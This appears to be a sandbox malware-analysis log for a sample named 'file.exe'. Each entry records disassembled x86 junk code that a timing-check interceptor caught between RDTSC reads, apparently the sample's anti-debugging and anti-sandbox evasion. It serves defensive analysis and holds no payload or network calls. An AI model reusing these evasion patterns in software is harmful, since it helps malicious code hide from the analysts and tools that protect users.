                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F70038 second address: 4F7005F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FA955157A06h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F7005F second address: 4F7007C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80C3C second address: 4F80C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA9551579FCh 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80C68 second address: 4F80D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA954E703D4h 0x00000011 sbb ah, FFFFFFA8h 0x00000014 jmp 00007FA954E703CBh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FA954E703D8h 0x00000020 and si, 0A08h 0x00000025 jmp 00007FA954E703CBh 0x0000002a popfd 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e jmp 00007FA954E703D6h 0x00000033 xchg eax, ecx 0x00000034 jmp 00007FA954E703D0h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FA954E703CDh 0x00000043 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80D03 second address: 4F80D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80D09 second address: 4F80D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80D0E second address: 4F80D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, 3Ch 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FA9551579FBh 0x0000000f mov eax, dword ptr [76FB65FCh] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FA955157A04h 0x0000001b sbb esi, 38AE8458h 0x00000021 jmp 00007FA9551579FBh 0x00000026 popfd 0x00000027 popad 0x00000028 test eax, eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FA955157A00h 0x00000031 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80D65 second address: 4F80DA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA9C6E22FB8h 0x0000000f pushad 0x00000010 call 00007FA954E703D4h 0x00000015 movzx esi, bx 0x00000018 pop edi 0x00000019 jmp 00007FA954E703CCh 0x0000001e popad 0x0000001f mov ecx, eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80DA8 second address: 4F80DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80DC5 second address: 4F80E2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c jmp 00007FA954E703D7h 0x00000011 and ecx, 1Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FA954E703CBh 0x0000001d and cx, FD4Eh 0x00000022 jmp 00007FA954E703D9h 0x00000027 popfd 0x00000028 mov eax, 67F0ED57h 0x0000002d popad 0x0000002e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80E2B second address: 4F80EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007FA9551579FEh 0x00000010 leave 0x00000011 pushad 0x00000012 push ecx 0x00000013 call 00007FA9551579FDh 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pushfd 0x0000001b jmp 00007FA9551579FEh 0x00000020 add cx, 1758h 0x00000025 jmp 00007FA9551579FBh 0x0000002a popfd 0x0000002b popad 0x0000002c retn 0004h 0x0000002f nop 0x00000030 mov esi, eax 0x00000032 lea eax, dword ptr [ebp-08h] 0x00000035 xor esi, dword ptr [002E2014h] 0x0000003b push eax 0x0000003c push eax 0x0000003d push eax 0x0000003e lea eax, dword ptr [ebp-10h] 0x00000041 push eax 0x00000042 call 00007FA959E38888h 0x00000047 push FFFFFFFEh 0x00000049 pushad 0x0000004a call 00007FA955157A04h 0x0000004f mov ah, 9Bh 0x00000051 pop ebx 0x00000052 mov eax, 4E24B393h 0x00000057 popad 0x00000058 pop eax 0x00000059 jmp 00007FA955157A06h 0x0000005e ret 0x0000005f nop 0x00000060 push eax 0x00000061 call 00007FA959E388B9h 0x00000066 mov edi, edi 0x00000068 jmp 00007FA955157A00h 0x0000006d xchg eax, ebp 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FA955157A07h 0x00000075 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80EE6 second address: 4F80EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80EEC second address: 4F80EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F80EF0 second address: 4F80EF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40008 second address: 4F4000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4000E second address: 4F4003D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FA954E703CEh 0x0000000b adc cx, E598h 0x00000010 jmp 00007FA954E703CBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4003D second address: 4F40041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40041 second address: 4F40047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40047 second address: 4F40064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA955157A09h 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40064 second address: 4F40073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40073 second address: 4F40077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40077 second address: 4F4007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4007D second address: 4F400C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FA9551579FEh 0x00000010 movzx esi, di 0x00000013 pop ebx 0x00000014 push eax 0x00000015 mov dx, 7DCEh 0x00000019 pop edi 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA955157A01h 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F400C1 second address: 4F400E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA954E703CDh 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F400E8 second address: 4F40187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FA9551579FEh 0x0000000f push eax 0x00000010 jmp 00007FA9551579FBh 0x00000015 xchg eax, ecx 0x00000016 jmp 00007FA955157A06h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d mov cx, 6A4Dh 0x00000021 movzx eax, bx 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 mov ax, 8D81h 0x0000002b mov cl, 80h 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FA955157A02h 0x00000036 xor ch, FFFFFFC8h 0x00000039 jmp 00007FA9551579FBh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ebx, dword ptr [ebp+10h] 0x00000043 jmp 00007FA955157A06h 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c mov ah, 33h 0x0000004e popad 0x0000004f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40187 second address: 4F4021D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 pushfd 0x00000006 jmp 00007FA954E703CCh 0x0000000b or esi, 23FDEC88h 0x00000011 jmp 00007FA954E703CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FA954E703CFh 0x00000022 add si, A8CEh 0x00000027 jmp 00007FA954E703D9h 0x0000002c popfd 0x0000002d mov edx, eax 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FA954E703D8h 0x00000038 adc esi, 3229AC78h 0x0000003e jmp 00007FA954E703CBh 0x00000043 popfd 0x00000044 mov cx, 87AFh 0x00000048 popad 0x00000049 mov esi, dword ptr [ebp+08h] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4021D second address: 4F40221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40221 second address: 4F40227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40227 second address: 4F402F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 push eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, edi 0x0000000b pushad 0x0000000c push eax 0x0000000d call 00007FA9551579FFh 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 mov dl, al 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push ecx 0x0000001a push edi 0x0000001b pop esi 0x0000001c pop edx 0x0000001d pushad 0x0000001e mov dh, cl 0x00000020 pushfd 0x00000021 jmp 00007FA955157A01h 0x00000026 sub si, 47D6h 0x0000002b jmp 00007FA955157A01h 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 xchg eax, edi 0x00000034 jmp 00007FA9551579FEh 0x00000039 test esi, esi 0x0000003b jmp 00007FA955157A00h 0x00000040 je 00007FA9C7145D6Eh 0x00000046 jmp 00007FA955157A00h 0x0000004b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 mov edx, 5D449270h 0x0000005a pushfd 0x0000005b jmp 00007FA955157A09h 0x00000060 adc ecx, 12683BF6h 0x00000066 jmp 00007FA955157A01h 0x0000006b popfd 0x0000006c popad 0x0000006d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F402F5 second address: 4F402FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F402FB second address: 4F4030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA9C7145D1Eh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov ah, bl 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4030E second address: 4F403DC instructions: 0x00000000 rdtsc 0x00000002 mov al, 54h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a jmp 00007FA954E703D2h 0x0000000f or edx, dword ptr [ebp+0Ch] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FA954E703CEh 0x00000019 sbb esi, 4C03F6A8h 0x0000001f jmp 00007FA954E703CBh 0x00000024 popfd 0x00000025 jmp 00007FA954E703D8h 0x0000002a popad 0x0000002b test edx, 61000000h 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FA954E703CEh 0x00000038 sub ch, 00000038h 0x0000003b jmp 00007FA954E703CBh 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007FA954E703D8h 0x00000047 adc ah, FFFFFF98h 0x0000004a jmp 00007FA954E703CBh 0x0000004f popfd 0x00000050 popad 0x00000051 jne 00007FA9C6E5E698h 0x00000057 jmp 00007FA954E703D6h 0x0000005c test byte ptr [esi+48h], 00000001h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F403DC second address: 4F403F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F403F9 second address: 4F40409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA954E703CCh 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40409 second address: 4F4040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F4040D second address: 4F4043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA9C6E5E652h 0x0000000e jmp 00007FA954E703D7h 0x00000013 test bl, 00000007h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx ebx, ax 0x0000001c mov dx, cx 0x0000001f popad 0x00000020 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3085D second address: 4F30863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30863 second address: 4F30867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30867 second address: 4F3086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3086B second address: 4F3090F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007FA954E703CFh 0x0000000f mov eax, 1003552Fh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007FA954E703D2h 0x0000001c and esp, FFFFFFF8h 0x0000001f pushad 0x00000020 jmp 00007FA954E703CEh 0x00000025 mov di, cx 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b pushad 0x0000002c jmp 00007FA954E703D8h 0x00000031 mov bl, ch 0x00000033 popad 0x00000034 pushad 0x00000035 call 00007FA954E703CDh 0x0000003a pop eax 0x0000003b movsx edi, ax 0x0000003e popad 0x0000003f popad 0x00000040 push eax 0x00000041 jmp 00007FA954E703D3h 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FA954E703D0h 0x00000050 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3090F second address: 4F30915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30915 second address: 4F3097C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA954E703CEh 0x00000011 adc ecx, 0269F708h 0x00000017 jmp 00007FA954E703CBh 0x0000001c popfd 0x0000001d mov edx, eax 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007FA954E703D5h 0x00000026 xchg eax, esi 0x00000027 jmp 00007FA954E703CEh 0x0000002c mov esi, dword ptr [ebp+08h] 0x0000002f pushad 0x00000030 mov ax, F72Dh 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3097C second address: 4F309A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a sub ebx, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA955157A02h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F309A6 second address: 4F309E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA954E703D1h 0x00000009 sub si, 4396h 0x0000000e jmp 00007FA954E703D1h 0x00000013 popfd 0x00000014 mov bx, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, edi 0x00000021 mov eax, edx 0x00000023 popad 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F309E2 second address: 4F30A4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA9C714D392h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA9551579FEh 0x00000016 or ch, 00000018h 0x00000019 jmp 00007FA9551579FBh 0x0000001e popfd 0x0000001f popad 0x00000020 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000027 pushad 0x00000028 pushad 0x00000029 jmp 00007FA9551579FCh 0x0000002e mov ax, D351h 0x00000032 popad 0x00000033 popad 0x00000034 mov ecx, esi 0x00000036 jmp 00007FA9551579FCh 0x0000003b je 00007FA9C714D358h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30A4C second address: 4F30A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30A50 second address: 4F30AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FA955157A02h 0x0000000e mov ah, 25h 0x00000010 pop edi 0x00000011 popad 0x00000012 test byte ptr [76FB6968h], 00000002h 0x00000019 pushad 0x0000001a mov si, B87Fh 0x0000001e push esi 0x0000001f call 00007FA9551579FBh 0x00000024 pop esi 0x00000025 pop edx 0x00000026 popad 0x00000027 jne 00007FA9C714D31Dh 0x0000002d jmp 00007FA955157A04h 0x00000032 mov edx, dword ptr [ebp+0Ch] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FA955157A07h 0x0000003c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30AC5 second address: 4F30AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA954E703CDh 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30AF2 second address: 4F30B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, FEh 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA9551579FEh 0x00000014 xor si, 4EB8h 0x00000019 jmp 00007FA9551579FBh 0x0000001e popfd 0x0000001f push esi 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30B23 second address: 4F30B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA954E703CBh 0x00000008 mov edx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e jmp 00007FA954E703D2h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 mov cx, C463h 0x0000001a movzx esi, di 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007FA954E703D5h 0x00000024 xor ch, 00000066h 0x00000027 jmp 00007FA954E703D1h 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FA954E703D1h 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edx, 51DD709Eh 0x0000003d push ebx 0x0000003e pop ecx 0x0000003f popad 0x00000040 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30B9E second address: 4F30BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f mov si, FDB9h 0x00000013 popad 0x00000014 push dword ptr [ebp+10h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30BC6 second address: 4F30BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30BCA second address: 4F30BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30BF4 second address: 4F30BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30BFA second address: 4F30BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30BFE second address: 4F30CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushfd 0x0000000c jmp 00007FA954E703D8h 0x00000011 add si, 4688h 0x00000016 jmp 00007FA954E703CBh 0x0000001b popfd 0x0000001c pop ecx 0x0000001d pushfd 0x0000001e jmp 00007FA954E703D9h 0x00000023 sbb eax, 2C52EDA6h 0x00000029 jmp 00007FA954E703D1h 0x0000002e popfd 0x0000002f popad 0x00000030 pop ebx 0x00000031 pushad 0x00000032 mov dl, ch 0x00000034 call 00007FA954E703D9h 0x00000039 call 00007FA954E703D0h 0x0000003e pop esi 0x0000003f pop edi 0x00000040 popad 0x00000041 mov esp, ebp 0x00000043 jmp 00007FA954E703CEh 0x00000048 pop ebp 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushfd 0x0000004d jmp 00007FA954E703CCh 0x00000052 adc ecx, 413EF008h 0x00000058 jmp 00007FA954E703CBh 0x0000005d popfd 0x0000005e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40BE1 second address: 4F40C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA955157A03h 0x0000000a xor ch, 0000004Eh 0x0000000d jmp 00007FA955157A09h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C17 second address: 4F40C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C33 second address: 4F40C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C37 second address: 4F40C3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C3B second address: 4F40C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F40C41 second address: 4F40C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
